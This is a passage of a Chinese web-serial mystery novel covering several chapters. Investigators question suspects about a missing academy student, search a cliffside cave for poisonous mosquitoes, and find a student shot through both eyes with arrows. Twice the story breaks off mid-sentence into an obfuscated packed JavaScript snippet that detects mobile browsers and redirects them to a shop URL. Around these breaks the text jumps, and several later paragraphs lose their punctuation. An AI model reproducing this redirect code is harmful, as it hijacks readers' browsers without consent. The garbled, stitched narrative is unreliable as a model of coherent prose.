方青晔焦急道:“鹤臣,什么意思?难道虫害不是巧合?” 裴晏凝声道:“虽无实证,但我们搜遍了书院周围,都未发现毒虫,便更说明此前的两次虫害有古怪。” 方青晔愕然道:“可、可前一次虫害,乃是在正月下旬,这都过了这么久了,我们刚才又把那些犄角旮旯之地找了一遍,还是没有找到怀瑾的踪迹,现在是怎么个说法?你这里可有头绪?” 裴晏看向学舍方向,坦诚道:“最好的结果,是付怀瑾用了障眼法出了书院,若他人还在书院,那只怕凶多吉少——” 墨蚊的线索并无下文,裴晏又打开众人证供,很快道:“把薛湛和柳元嘉叫来。” 方青晔微讶,“他二人怎么了?” 裴晏便道:“适才有人提起,他们与付怀瑾生过争执。” 方青晔欲言又止一瞬,只得先应下。 如今线索不明,裴晏仍然只能从人证口供入手,姜离站在窗边,眼见时辰越来越晚,一颗心也高高悬在半空。 很快,一片嘈杂脚步声到了讲堂之外。 第一个进门的是薛琦,他疑惑道:“世子,怎么还要再问湛儿?他们不都问过了吗?” 永阳侯柳明程也跟在后面,“是谁说他们与怀瑾生了争执?同在书院,又都是十多岁的年轻人,偶尔有个口角也不算什么。” 这二人是为儿子而来,同来的却还有付宗源,眼看黄昏将至,他心底焦灼如焚,别说是侯府世子、薛府公子,便是亲王老子来了也得解释清楚。 他进门来,一时看着裴晏,一时又怀疑地看向后面的薛琦和柳元嘉,恨不得立刻抓住凶手盘问付怀瑾下落。 裴晏道:“只是正常询问,二位不必紧张,若是正常口角,正常交代便可。” 柳明程和薛琦对视一眼 ,显是很不情愿,但失踪案当前,他们也不敢太过回护自家孩子,方青晔这时道:“对啊,解释清楚便好了,薛大人,侯爷,不若落座听听怎么回事吧。” 薛琦一叹,“也是,湛儿,那你好生解释清楚。” 薛琦呐呐应是,在他身后,高从章和高晖、以及王喆都一同跟了来,他们齐齐进门落座,唯独薛湛和柳元嘉站在堂中等着询问。 裴晏先看向薛湛,问:“月余之前,付怀瑾可是说你与孔昱升有龙阳之好?” 此言一出,如水入油锅,惊得薛琦立刻站了起来,“什么?!怎有此言?!” 薛湛闻言面上也是青红交加,恼道:“大人既然知道了,那我也没什么好隐瞒的,就在二月初,我与孔昱升在学斋之中探讨一篇骈文写法,这本是再寻常不过的事,可他却用此等污言秽语污蔑我二人,我当时气不过,与他争辩了两句,事情已经过去快一个月了,难道我会因为此事害他?” 薛琦眉头紧拧,“方院监,书院同窗在一处进学多正常之事,怎还生出了这等谣言?” 方青晔面上也挂不住,但不等他解释,裴晏继续问道:“付怀瑾只说过那一次?他只是因为看到你二人在一处进学便说了此言?” 薛琦咬牙道:“不错,孔昱升擅骈文,除了我,也有其他人找他探讨,可他也不知怎么了,那一日忽然口无遮拦起来,但也只有那一次,那之后几日,我气消了,便也不拿此事当回事了……” 付宗源听得不快,“这定是有什么误会,若无古怪,怀瑾一个读书人,怎会平白无故有这等指摘?” 薛湛闻言愈恼,薛琦也忍不住道:“宗源,如今怀瑾那孩子不见了,我们也替你担心,但说实在的,这么一圈问下来,怀瑾平日行事可不是你说的那样端方君子,话是他亲口说的,还能有什么误会?幸而只说了那一次,我谅他年纪小不予计较,否则,将这等有违人伦礼法的不耻脏水泼到湛儿身上,那我第一个不答应。” 付宗源满腹焦灼,可如今问来问去,反而给付怀瑾招来恶名,他心底怒意勃然,可想到薛琦身份,只得强自忍下,“都是孩子们的玩笑话罢了——” 裴晏这时看向柳元嘉,“也是在二月初,你与付怀瑾在学舍内有过一次激烈的争执,那是为了何事?” 这一下,所有人的视线都落在了柳元嘉身上。 柳元嘉年二十有三,乃是永阳侯柳明程独子,柳家虽也算长安世家,却比寿安伯府还要没落,柳元嘉这世子更是世袭爵位的最后一代,偏偏柳元嘉幼时体弱多病,也无英才,若就此蹉跎一辈子,到了下一代,失去了爵位的柳家便彻底地脱离了世族之列。 为此,柳明程可谓操碎了心,十多年之前便给柳元嘉请了名师为先生,九年前,更是早早把柳元嘉送进了白鹭山书院,然而这么多年下来,与柳元嘉同岁的裴晏已经为官四载,可他还在书院内进学…… 虽说这等年岁也不算太晚,可柳家无权无势,和其他世家子比起来,柳元嘉的处境多有尴尬,正因如此,柳明程更强逼着柳元嘉进学。 见众人都看着自己,柳元嘉无奈道:“大人,那次其实也是个误会,他看我家里送来了不少家信,还有父亲寻的古籍书册,便、便生了嘲弄之心。 裴晏拧眉,“嘲弄?为何嘲弄? 柳元嘉五官清俊,身形瘦削,此刻他紧抿起唇角,显是紧张起来,又往柳明程处看了一眼,磕磕绊绊道:“说、说难怪我学问不佳,乃是因念家之故。 他视线闪躲,不敢与裴晏对视,裴晏盯他片刻,“来人,去他房中看看—— 这话一出便是要搜屋,柳元嘉面色大变,忙道:“慢着! 他猝然喝止,面上惊惶明显,其他人见状皆露兴味之态,都看出他心中有鬼。 付宗源沉声道:“贤侄,事情到了这一步,还是有话直说的好。 众目睽睽之下,柳元嘉双手绞住袖口,又看一眼柳明程,咬牙道:“不、不必搜了,我直说便是了……今岁我们都将入科场,我父亲会请以前的先生为我解题做赋,再做范文供我参照,待家仆送衣物细软与家信之时,一并送来,此事……我不愿旁人知晓,可那一次,他进我屋子之时正好碰见我在背那些范文,他像发现了什么了不得之事,先是嬉笑追问,后又想宣扬,我一下着急便与他吵起来—— 话已至此,柳元嘉索性道:“我学问作的不好,只能用这些笨办法,怀瑾他比我年幼,学问却在我之上,他用此事嘲弄我,我岂能不恼? 薛琦惊讶道:“背范文?那岂非作弊? 柳明程面色早已黑沉下来,柳元嘉如芒在背道:“不,不是那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100146|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思,书院每月的试题都是临时给的,父亲送来的范文也不过是往年科考用过的题目,我不擅文赋与策论,只能靠死记硬背能得一二,并非作弊—— 柳元嘉面色涨红,额角也溢冷汗,裴晏见他还是招了,便打消了搜屋之念,又问:“那他后来可曾宣扬此事?你是否怀恨在心想要报复? 柳元嘉豁然抬头,“后来他只说我家里来了许多书信,没说范文之事,也因此,我后来也懒得计较了,更不可能因为此事去害他。 柳元嘉目光灼灼望着裴晏,看起来不似作假,裴晏微微颔首,“二十八与二十九那两天晚上,你们二人都足不出户,但可惜并无人证。 薛湛气弱道:“我们都是自己住,也确无法找人证,何况我们的屋子大人也看了,不可能有藏人的地方…… 裴晏并未驳斥,付宗源见二人解释之后似洗清了嫌疑,便着急道:“裴少卿,天都要黑了,怀瑾已经失踪快两天一夜了,书院就这么大,怎么就把一个人找不出来呢?是不是谋害怀瑾之人不止一个?是不是有人互相串供?会不会还有什么地方没有找到?那些门夫斋夫的证词可有错漏? 窗外夜色将至,付宗源心急如焚,裴晏道:“付侍郎所疑不错,但我的人已经搜遍了书院内外,确实没有发现明显踪迹,但搜索之后,还是发现了不少疑点,眼下得将疑点一个个破解才好。 绝望蔓延开来,付宗源攥紧拳头重重锤向椅臂。 方青晔上前安慰,“付大人,眼下没有发现怀瑾,那便还有希望,鹤臣来之前,我们上下近百人已经里里外外搜了七八遍,确实没有找到怀瑾,他们也都不是神仙,如今咱们只能给他们时间。 付宗源为官多年,也见过不少案子,这样诡异的失踪案他却是头一次见,到了这等时候,没消息或许算是好消息,他深吸口气,哑声道:“裴大人,怀瑾的下落全靠你们了,请你们务必尽心,我就这么一个儿子,我别无所求…… 裴晏颔首,“我们自是全力而为。 裴晏一言颇有定心之效,方青晔见他面色难看,便又请付宗源几人往德音楼歇息,付宗源站起身来,然而没走出两步,他道:“方院监,能否 把你们书院的人员名册给我看看?我也想尽一些力。 方青晔一愣,颔首道:“好,我稍后送来。 二人说着话,与所有人一并出了门,姜离在旁站了许久,此刻禁不住上前来,问九思道:“付侍郎此来带了多少人? 九思道:“来得急,就带了两个随从。 姜离若有所思,裴晏也望着众人离去的方向沉吟着,很快,方青晔去而复返,道:“鹤臣,明日的春试怕是要取消了,如今怀瑾还未找到,学生们也都人心惶惶,我也担心再出事,叔父也是这个意思—— 裴晏颔首,“如此最好。 稍稍一顿,裴晏道:“付侍郎来之后,可私下问过你什么? 方青晔摇头,“没有啊,他也就今晨来的,见你带着人探查也未多问什么,何况他不了解书院内的情形,问了也无用不是?他适才要名册,我这就把名册送给他。 见外头夜色将至,裴晏道:“时辰不早了,今夜也不得放松,我会留人在书院各处守卫,你务必要与众人交代,最好不要随意走动。 方青晔忙道:“哪有让你们守卫的?你们趁夜而来,不可能一天两夜无眠,我会安排斋夫们巡夜,你放心吧,今夜又没有下雨,不碍事。 裴晏颔首,方青晔自去给付宗源送名册。 他一走,裴晏打开今日所得证供一一比对,半晌后,仍觉线索乱极。 此时夜幕已至,九思点燃了屋内数盏明灯,裴晏一转眼,见姜离仍然站在窗边沉思着什么,他上前道:“在想墨蚊的事? 姜离转过身来道,“付怀瑾房中的线索指向并不明确,但这毒虫却是有意为之,找到毒虫的来处或许便能找到凶手线索,但我实在想不通凶手如何安排,从前—— 刚道出两字,姜离话头一滞,道:“这后山可能出现毒虫之地就那么些,书院内更是搜了数遍,实在古怪—— 裴晏问:“这墨蚊还有何习性? “墨蚊多在春、夏、秋三季活动,夏季繁衍最快,且避光忌风,活动范围小,每日也只在黎明、黄昏和夜里出来觅食,其孳生之地多在潮湿松软、含腐物的土壤,以及水塘、树洞、沼泽、茅厕与污水沟处,长成后也多栖息于树丛、竹林、杂草、洞穴等避风避光之—— “等等……洞穴? 话未说完,裴晏忽然打断了姜离,姜离闻声先是一愣,很快眼底闪出道明光来,“你是说—— 作者有话要说 第 150 章 人骨与死人 亥时二刻,泼墨般的天穹无星无月,伸手不见五指的紫竹林里,只一片如潮的竹叶沙沙声,某一刻,两道身影自书院西门跃出,又悄无声息地潜入了深林之中。 “未想到了如今,还得这般做贼似的出来。 姜离猫身在前,不时回头看一眼,生怕被人发现这诡异行径。 “有九思在内看着,没人会跟出来。 裴晏说话间从袖中掏出火折子点燃,他功力不俗,无需明灯照物,可姜离却走不了黑灯瞎火的夜路,他往前快走两步,与姜离并肩同行。 姜离斜他一眼,道:“如今我是头次来书院,可不能让他们知道堂堂裴世子,竟然早就违反院规闯过禁地—— 裴晏不置可否道:“本可以不闯。 姜离这下不同意了,竖眉问:“那我又是为了谁? 裴晏一默,“自是为了我。 白鹭山山高林密,遍布的溪流飞涧,极宜药材生长,从前姜离在书院念书时,便时常惦记这漫山灵药,然而书院规矩森严,想溜出去采药绝无可能。 直到景德三十一年年末,裴晏身负内伤,眼见年末的比武大会临近,姜离临危受命为其疗伤,先后换了四五道医方效用不大后,她自己独创了一道补气化瘀的良方。 这道方子用药并不罕见,唯独其中一味名为“威灵仙的药材颇为稀有,却偏偏用量极大,书院药房只备了少许,要想避人耳目治好裴晏,只能姜离自己想法子。 一次偶然的机会,她发现石刻禁地的峭壁上长有此药。 若是别处也就罢了,偏偏是那块儿峭壁,那里本有一片佛陀石刻,却因多年前有人坠崖而亡成了书院禁地,本就逼仄的山崖小路不仅用巨石堵死,连本来赏景的崖边都种满了遍布尖刺的荆棘丛。 若是旁人多半也就算了,但姜离不甘心,她找彼时的杂工借来了麻绳,在一个阴天午后,自己偷偷溜去了石刻崖。 彼时的她虽无武艺在身,气力却不弱,再加上她身形灵巧,起初顺着麻绳下山崖十分顺利,然而她没想到,那山崖表面的石刻经百年风雨,早已风化朽垮,她刚下至一半,脚下岩壁便不堪受力轰然塌落,没了着力点的她也跟着摔了下去。 坠崖的瞬间,姜离只以为自己要葬身山坳 却未想到丈余之下有片满是蒿草的窄台因她紧贴山壁而落被石台接了住。 她受了些轻伤并无大碍然而望着头顶晃晃悠悠的麻绳末端她一时叫天天不应叫地地不灵更惨的是彼时天上乌云密布豆大的雨点砸下顷刻便湿了衣裳。 就在躲雨时她发现了岩壁上杂树掩映的石洞。 她躲进石洞之中方才知洞中另有天地似有江湖中人在此闭关修行过躲雨有的躲可今日并无武课若无书院中人经过山崖上方的小路她便是喊破喉咙都无人相救想着可能要孤身一人在此过夜姜离简直悲从中来。 就在她后悔接下为裴晏治伤的差事时裴晏也不知怎么发现了她偷溜出来之事又一路搜摸到了石洞之外…… 忆起那日狼狈姜离撇嘴道:“那地方下去不易但那石洞中易积水又有杂草遍生确有孳生蚊虫的可能可那山崖危险什么人会跑去哪里?” 言下之意是觉此行多半要无功而返。 裴晏道:“的确不易去但若是有些身手的人知道那里要下去也不难。且除了那里我也想不到还有何处易生毒虫。” 微微一顿他又问道:“你当年便不怕危险?” 林中风声呼啸竹影摇乱二人脚踩枯枝败叶更时不时发出些突兀的声响姜离面上镇定 她瞥裴晏一眼道:“当年年少无知若知道会掉下去那我势必是不会去的。” 话音落定她加快步伐行在前裴晏打着火折子目光幽幽地落在她脊背上。 这条林间小道由青石板铺就沿着山势缓缓而上本是通往青云崖但那石刻崖壁却需走至一半改道东南顺着一条荒草枯叶交错的小路往前行百多步方至石刻崖边。 夜里的石刻崖风声呼啸漆黑一片多年前种下的荆棘丛更是繁茂交错寸余长的猩红尖刺张牙舞爪直看得人心底发憷。 时隔多年姜离已记不清崖下石台在何方位走动探看之间裴晏手递了过来姜离一愣看看他再看看他指节分明的大手一时有些懵然。 “手给我我知道在何处 。” 姜离轻功不弱,如今已不怕断崖之险,可那石台只有半丈宽,这般夜里也不能确保万全,她定了定神,一本正经地将手放在了裴晏掌心。 裴晏收紧指节,将她手重握住,又听他气息微动,足尖点地,下一刻便带她飞掠而起,夜风吹得姜离半眯起眼睫,但余光滑过裴晏肩头时,也不知怎么,心底莫名滑过几分熟悉之感,可还未等她辨别这熟悉来自何处,她已随裴晏缓缓落在了崖壁石台之上。 石台之上风声更响,火折子微弱的火光忽地灭去,四周陷入黑暗,又因一面临空,迫得姜离心弦紧绷,她下意识反握回去,借着裴晏之力往崖壁退了两步。 四周黑黢黢的,远处的山影与石台之外的深渊皆令人背脊发凉,而这一握,裴晏掌心的温热与指腹处的薄茧便尤其分明,一股子格外怪异之感猛地冲上姜离心头,她背抵石壁,连忙将裴晏放了开。 “噗”的一声,火折子再度点亮,裴晏一手护着火光,示意东南方向石壁,姜离也瞧见那杂树之下的黑洞,连忙抬步走了进去。 这黑洞只有四尺来高,进出尚需低头,但一旦进了洞门,里头便是四五丈见方的中空溶洞,姜离当年来时,洞内杂草丛生,门口多有淤泥,但往内走却有石床石桌与风化的草甸陶器,一看便曾有人迹,今次再入石洞,只打眼一扫,她目光便雪亮起来。 “有脚印,有人来过——” 洞口低洼,雨水常年自崖顶流下,在洞口积了不少淤泥,淤泥积至洞内,杂草已有齐膝深,姜离说的脚印,便在洞内杂草渐少处。 裴晏打着火折子蹲下身来,“确是脚印,但只有一小半,难确定大小。” 姜离也仔细地看着地面各处,“洞口应该也有,但前几日两场大雨将洞口的脚印冲刷掉了,这里,你过来看——” 裴晏忙起身来,便见姜离倾身站在溶洞西面石台之前,正看着石台之上一滩棕黑色痕迹,而此刻,那棕黑上附着着两只针尖大的飞虫。 裴晏惊喜道:“这是墨蚊?” 野外飞虫多有类似,姜离不敢大意,仔仔细细看过之后,肯定道:“是墨蚊,无错!这洞内潮湿,又多腐,确是孳生墨蚊之地。” 裴晏又盯着那一抹痕迹道:“那这是——” 姜离 拿过火折子,用火焰轻燎那污迹,很快道:“是血迹,还有一点儿不知是什么的短毛发,或许还放过带血的生肉—— 说至此,她语调沉沉道:“长成后的墨蚊只能在野外存活数日,若遇大风大雨更易夭折,而此处避风避雨,墨蚊大抵能活长些,有人发现了这一点,便拿来腥肉诱捕,所以我们在书院内未找到踪迹。 “能来此处,定是身手利落,能拿来腥肉,要么进过厨房,要么便是自己在外猎到了何物。山林之中小到鼠蚁蛇虫大到飞禽走兽皆足,获取腥肉总有法子,但裴晏又道:“可书院常年多人气,周围走兽飞禽并不常见—— 微微一顿,他反应极快道:“书院刚闹过鼠患,死鼠可能引诱? 裴晏记得那只被袁焱打落下来的,带血的死鼠,姜离对那一幕印象也极其深刻,当即道:“确有可能,墨蚊在野外本也是靠腐物存活。 姜离说着又仔细看洞内痕迹,很快在西南角落的腐草上发现了更多的墨蚊,然而石洞内新生的蒿草蔓蔓,虽能发现踩踏泥渍,但脚印并不分明。 “有人来过是肯定的,但好端端的不会有人下来此处。 裴晏颔首,姜离又打量一圈石洞,只觉八年已过,洞内模样倒无大变,再想到自己已非当年模样,心绪一时复杂起来,“没白来,走吧—— 她拍了拍手,又转身钻出门洞,一出石洞,崖上山风又吹得她眯起了眼睛,正在她琢磨着该从何处攀上去才不会落入荆棘丛时,手腕一重,裴晏将她腕子握了住。 她下意识轻挣,裴晏却握得更紧,她暗叹一声,跟着裴晏朝外走出两步。 正在这时,她鼻息微动,纵然看不清崖壁上的杂树碧草是何物,却还是道:“这石壁上还有威灵仙,这么多年了—— 崖上山风寒凉,裴晏运气腾跃,足尖掠点石壁,两息之间便上了崖顶。 姜离稳稳落地时,心底那股子熟悉之感又涌了上来,她紧紧盯着裴晏,亦明白了熟悉在何处,于是古怪问,“你们凌霄剑宗的轻功都是一个路数? 裴晏慢半拍地放开姜离,又不动声色问:“怎么? 姜离有心隐瞒,反倒自己心虚,轻咳 一声道:“没什么……” 裴晏以火折子照亮原路返回又转回了先前的话道:“这些药材或许已在崖上长了百年又怎会在这短短几年间消亡?” “短短几年?”姜离可不赞同她有些怅然道:“当年我来此采药是景德三十一年秋已经过了八年多了学舍之后的松柏粗了一圈幽篁馆的竹林繁密了不少当年的夫子、杂工斋夫们也都换了一轮分明已经很多年了……” 火折子的光亮微弱连裴晏的眉眼都映不清楚四周万籁俱寂也愈发让姜离放松下来她边走边道:“我也实在没想到还有回来的这日更未想到你我为了一桩失踪案又跑下山崖之下去——” 她说着伸长脖颈往书院方向看低声道:“若此刻碰见人那可真是说不清还有你要如何解释去探石洞之事?” 裴晏面不改色地瞧着她鬼祟模样“照实说便是。” 姜离当即驻足“怎么个照实说?” 裴晏也停下来“就说当年为了找你我自己下去过——” “你就不能换个理由?”姜离大为不解。 裴晏眼带疑问姜离为他出主意道:“比如你就说你想看看那石刻之上写了什么梵文你为了做学问下去瞧过如此正合你的性情他们不会怀疑。” 裴晏“哦”一声“可是那石刻上本就没有梵文其上雕像也早被拓印下来画像就在藏书楼中放着当年教你们的宋夫子还专门赏析过——” “还有这事?”姜离全无印象纳闷道:“那那你就说你自己习武时下去过总之莫要扯出我来这都是多少年前的事了何故再坏我名头?” 姜离转身继续走坚决不许提这桩糗事裴晏眼尾带笑地看着她“其实当年先生已经知道了此事。” 姜离猛地驻足“你说什么?!” “不仅知道此事你替我疗伤我教魏旸那些事他也知道甚至你借我的名头逃宋夫子的课他也知道——” 姜离倒吸一口凉气“怎么会那他老人家就未气恼?” 裴晏失笑:“他看出你的禀赋在习医上来此多是为了魏旸自不会强求你更何况书院教学本就不以求功求名为己任 姜离闻言心绪愈发复杂了,很快,她费解地盯着裴晏道,“老先生开明,可我也就罢了,那你呢?他竟也纵着你不守规矩?” “他自是不想纵着——” 裴晏答一句,却不再说下去,姜离等了片刻,忍不住追问:“……然后呢?” 裴晏唇角微动,正欲说什么,剑眉却忽地拧起,他目光如剑看向书院北门方向,又利落熄灭了手中火折子,姜离背对书院方向,尚不知发生了何事眼前就陷入漆黑,下一刻,手腕被捉住,裴晏拉着她避在了近前合抱粗的松树之后。 “有人来了。” 不等她问,裴晏在她发顶落下一句。 姜离背靠树干,心中直叫苦,这可真是怕什么便来什么,“怎么这个点儿还有人来?他们不会是来找咱们的吧?” “应该不是。”裴晏轻声道。 他挨着姜离避在树后,因身量高于姜离,姜离便面对着他的襟口,眼皮一抬,还能瞧见他微动的喉头,而他说话时气息落在她发顶,莫名令姜离站立难安,就在她想转身之时,几道嘈杂的脚步声明晰起来,她忙屏住呼吸动也不敢动。 “葛教头,那咱们下次何时考呢?” “我也不知,最起码得找到付怀瑾之后……” “都两天一夜了,付怀瑾说不定自己跑出书院去了别的地方,这么找闹得大家人心惶惶,真不知是什么事……” “少说几句,都是同窗。” 不远处的青石道上,教头葛宏执灯在前,身后跟着五六个面熟的学子,他们各自抱着油布箱笼,乃是要往青云崖校场的方向走去。 “我近日步射手感极好,还想拿个头筹呢,偏偏出这么一档子事。” “别提了,为了让客人们观礼,校场上什么都搭建好了,偏偏就不考了,若今夜再下一场大雨,那些器材泡水不说,那棚子只怕又要塌了——” “所以今夜才要去查漏补缺把该盖的都盖上,其他的听天由命吧。” 今日阴云密布了整天,夜里的确可能下雨,葛宏做为书院武教头,校场内外皆由他负责,这会儿乃是去巡查校场去了。 随着说话声和脚步声远去,姜离僵直的背脊松活了下来,裴晏耳力更佳,在她开口之前退了开。 姜离呼出 口气“真是说什么来什么咱们快些回去吧。” 她转身走出两步又忍不住道:“那石洞之事……” 裴晏道:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜离摇了摇头临睡之前看了一眼正房方向见正房内灯火昏暗便也知裴晏未曾回来想到今夜之行她心底有些不宁凝神静气好半晌方才入得梦乡。- 裴晏至文华阁先拜见了方伯樘待方伯樘歇下 之后,才去暖阁与方青晔详谈。 “付宗源在查问新来之人的籍贯?” 裴晏开门见山,方青晔颔首道:“他给的理由是,付怀瑾在书院一年多都没事,偏偏近日出了岔子,那谋害他的人更有可能在新来的这些人之中,今岁除了四个南边来的学子,还有两个斋夫一个花匠一个门夫是新来的,这四人两个家在长安城外,还有两个是梁州与兴州来的,都有正常的官户文书,来了书院三月,行事也都无差错,他如今心急如焚,要查问我们自然也是配合,这会儿牧之还陪着。” 裴晏沉吟道:“他如此想也说得通,那便随他去吧,但若他探问的有古怪,你还是要尽数告知于我——” 方青晔疑道:“怎么?你怀疑他?” “他和袁焱似乎都有隐瞒之事,但尚不确定是否与此案有关,我派了十安回长安探查两家交情,等明日看消息如何,今夜只能先如此了。” 说至此,裴晏又道:“石刻崖那边,这几年来可还是严防死守着?” 方青晔怔然道:“石刻崖?当然,那里险峻,崖下是万丈深渊,每个进书院的新人都要仔细叮嘱的,怎么问起了那里?” “没什么,忽然想起来。” 裴晏言辞谨慎,方青晔眼见已是子时过半,便送裴晏回房歇下,“其他人都安顿好了,书页巡卫也安排妥当了,你们昨夜彻夜赶路,今夜再不歇息,白日只怕精神不济,到时候如何办案?” 方青晔言辞恳切,裴晏也只好遵从,待回了幽篁馆,便见西厢房已是灯火俱灭,他放下心来,入上房梳洗后,又看了一遍白日所得证供方才歇下。- 山里气候多变,呼啸而过的凉风吹了半夜,至寅时过半噼里啪啦落起大雨来。 裴晏被雨声惊醒,开窗见西厢仍黑着,便又回榻上小憩了片刻。 再睁眼时天色已经微明,屋外大雨初歇,一片晨雾笼罩在院外竹林之中,待梳洗更衣出门,西厢内仍无动静。 九思轻声道:“薛姑娘她们还未起身。” 裴晏做了个噤声的手势,先出幽篁馆往文华阁而去。 清晨的书院一片寂静,昨夜大雨前后下了半个时辰,青石板小道被雨水冲刷的光鉴照人,木林下的花花草草却东倒西歪,沾上了不少泥渍,裴晏一路 行来,只见学舍与听泉轩方向一片寂静,显然众人尚未起身。 到了文华阁,张伯爷孙两已起来,正在给方伯樘熬药,见裴晏前来,张伯忙去里头通禀,不多时方青晔匆匆出来,“叔父还未醒,你怎这么早? 裴晏看向上房,“昨夜可平静? 方青晔笑道:“一切都好,叔父用了药,昨夜睡得很安稳,我也丑时过半才歇下,夜半下了雨,我还起身瞧了瞧,你就放心吧。 裴晏颔首,方青晔又问:“薛姑娘可起身了? 裴晏道:“还未,不过应是快了。 裴晏答得利落,话音落下,他二人都是一愣,到底与姜离有着男女大防,可他们这一问一答的,倒显得裴晏与姜离多亲昵似的。 方青晔尴尬一笑,“那待会儿我让穗儿过去候着,你稍后也在这里和叔父一道用早膳。 裴晏应是,待天色大亮,方伯樘也起了身,裴晏进上房落座,见方伯樘一边用药一边轻咳,他便道:“待会儿让薛姑娘再给老师施一次针。 方伯樘喝完药,漱口后问:“你是如何请了薛姑娘随你连夜上山的? 不等裴晏答话,方伯樘又叹道:“听说薛姑娘是在江湖长大,回长安不过四月,这几年来,我还未见你与哪位姑娘走的如此近过。 “老师——裴晏语气发僵。 方伯樘摇了摇头,“我老了,这书院眼看着撑不了几年了,我是念着你父亲,愈发不放心你,你父亲当年便是痴情种,你多半也是一样的,这位薛姑娘,巧合的似乎太多了……罢了,你今时不同往日,也无需我叮咛。 方伯樘说着又轻咳起来,裴晏道:“老师安心,老师胸怀大义,定能长命百岁。 方伯樘笑,“你也会说好听话了。 二人正说着,九思自外头快步而来,“公子,十安回来了—— 裴晏忙站起身来,方伯樘道:“去吧。 他点点头快步出文华阁,待行至前院大讲堂,剑眉高高一扬,只见廊下站着的除了十安,竟然还有个披着靛蓝斗篷的宁珏。 宁珏听见声响转身,喜道:“师兄!想不到吧—— “你怎么来了?裴晏近前问。 宁珏道:“我听说你前夜连夜出了城 第 151 章 双箭穿目 “昨天晚上下了雨,我们早上起来,本是和葛教头一起去查看校场上那些家具器物的,春试取消了,校场上准备的一堆器物都要再搬回来,因昨夜说春试取消已是天黑之后了,葛教头本来也定的是今日去搬,可、可没想到,我们适才到了校场之后,却瞧见库房外头躺着一个血人……” 说话的是胡修文,他惊吓太过,此刻面色惨白、语声慌乱疾快,走路时腿都在发软。 “死者为何人?” 事发突然,裴晏留下四人在浴房刨灰,忙带着其他人出北门。 胡修文带路,他与姜离几人行在前,身后跟着的是惊慌不已的二三十学子,先闻付怀瑾尸骨无存,又得知校场死了人,众人恐惧之余,更不敢置信书院内会生如此命案。 “如、如果没看错,应该是袁焱——” 胡修文语气中已有哭腔,宁珏闻言不解道:“什么叫‘应该’?你们都是朝夕相处的同窗,难道你还认不出来死者是谁吗?” 胡修文不知想到什么,哽咽道:“他是被箭射死的,他满脸是血,葛教头让我速来报信,我都没看清,你、你们去了就知道了……” 听闻人是被箭射死的,宁珏并不为奇,而跟在后的薛琦等一众宾客们互视一眼,也不明白中箭而亡怎就认不出死者身份了。 裴晏面覆寒霜,步履如风,身后众人亦紧紧跟随。 从北门至青云崖虽不足百丈之距,但因一路上坡,平日学子们去校场少说也要半盏茶功夫,眼下命案当前,众人拔足疾行,半刻钟不到便至崖顶。 青云崖东西截断,正中是百步见方的平地,方伯樘于四周竖起围栏,建起房舍,筑起武场,以求门下学子文武兼备,而当众人浩浩荡荡入校场大门时,在此起彼伏的惊叫声中,大家终于明白胡修文为何不敢确定死者是谁—— 校场坐北朝南,北面是观礼高台,高台下是可跑马的武场,武场中置弓、马、刀剑等考试场,正南面是一片梅花桩与木人桩,而在进门后的武场以东,则建有一排简易木棚,棚内置大大小小的兵器架,做为临时武库之用。 清晨的凉风中,一个满脸是血的年轻男子,正仰面躺在武库南侧的泥砖地上。 满脸是血也就罢了,最令人惊恐的,是两支通身漆黑的羽箭深深 钉在他脸上那羽箭力破千钧穿透其脑骨大片血色自他脑下蔓延打眼看去他似躺在了一片血湖之中再仔细一看那两支长箭竟不偏不倚地射在他眼窝处。 饶是姜离见多识广此刻也禁不住背脊发凉跟在旁的怀夕更是倒抽一口凉气。 学子们大多未见过死人更未见过死法如此血腥惨烈的死人看到死者后脑之下溢出了花白之物数道惊呼后有人跑出校场发出阵阵呕吐之声。 “是袁焱就是袁焱。” “难怪胡修文认不出来他的脸已经不能看了……” “是谁这样杀了他?这般狠辣凌厉的箭术有几人能做到……” “他怎会死在这里他来这里做什么?” 惊惶议论声中方青晔眼前发黑人都快栽倒过去葛宏见他们终于来了忙大步走了过来在他身后还有另外四个红着眼的学子他们几人手上皆沾染了血色显然已经尝试过救治。 裴晏和方青晔快步近前方青晔急声问:“怎么回事?” 葛宏哑声道:“院监昨夜下了一场雨我一大早起来就带着几个学生前来探看这里头好些今年新进的箭矢都是好物我担心昨夜风雨太大泡了水 方青晔也红了眼望着地上的袁焱道:“鹤臣这可怎么办怀瑾的事还没个眉目袁焱也死了好好两个孩子这如何向他们家里交代!” “既是命案当立刻派人去长安袁氏报信这里交给我们先让其他人回书院浴房和付、袁二人的学舍都不可接近检查完案发地我再去查学舍。” 裴晏利落吩咐说完便去往袁焱身边查验方青晔满脸痛心回身看向了人群之中的林牧之他请林牧之将学子们带回安抚又请他将此事禀告给方伯樘而包括葛宏在内的发现案发现场的几人则都被留了下来。 学子们被带回薛琦几人却未走望着袁焱的尸首薛琦紧声道:“若那灰堆中的尸骨真是付家那孩子的那如今便有了两桩命案这两个孩子是惹到了什么杀神?一个被挫骨扬灰一个被射穿双 眸而死,这可真是…… 薛琦活了大半辈子,此刻也觉不寒而栗,高家父子站在一旁,高晖也忍不住道:“书院七八年没出过事了,这一下连着死了两人,什么人这样狠毒! 姜离与裴晏正一左一右半蹲在袁焱尸体旁,听见此言,二人手上动作皆是一顿,高晖所言虽是无心,可他说的七八年没出过事,正是指书院前一次出事,还是当年魏旸从青云崖西边跌下的意外…… 想起此事姜离心腔发沉,裴晏看姜离一瞬,一边检查袁焱衣衫一边道:“昨夜寅时过半开始下雨,卯时前后才停,袁焱的衣裳是干的,鞋底有湿泥,足见他是在雨停之后才来了校场,葛教头,你们来的时候还看到了什么? 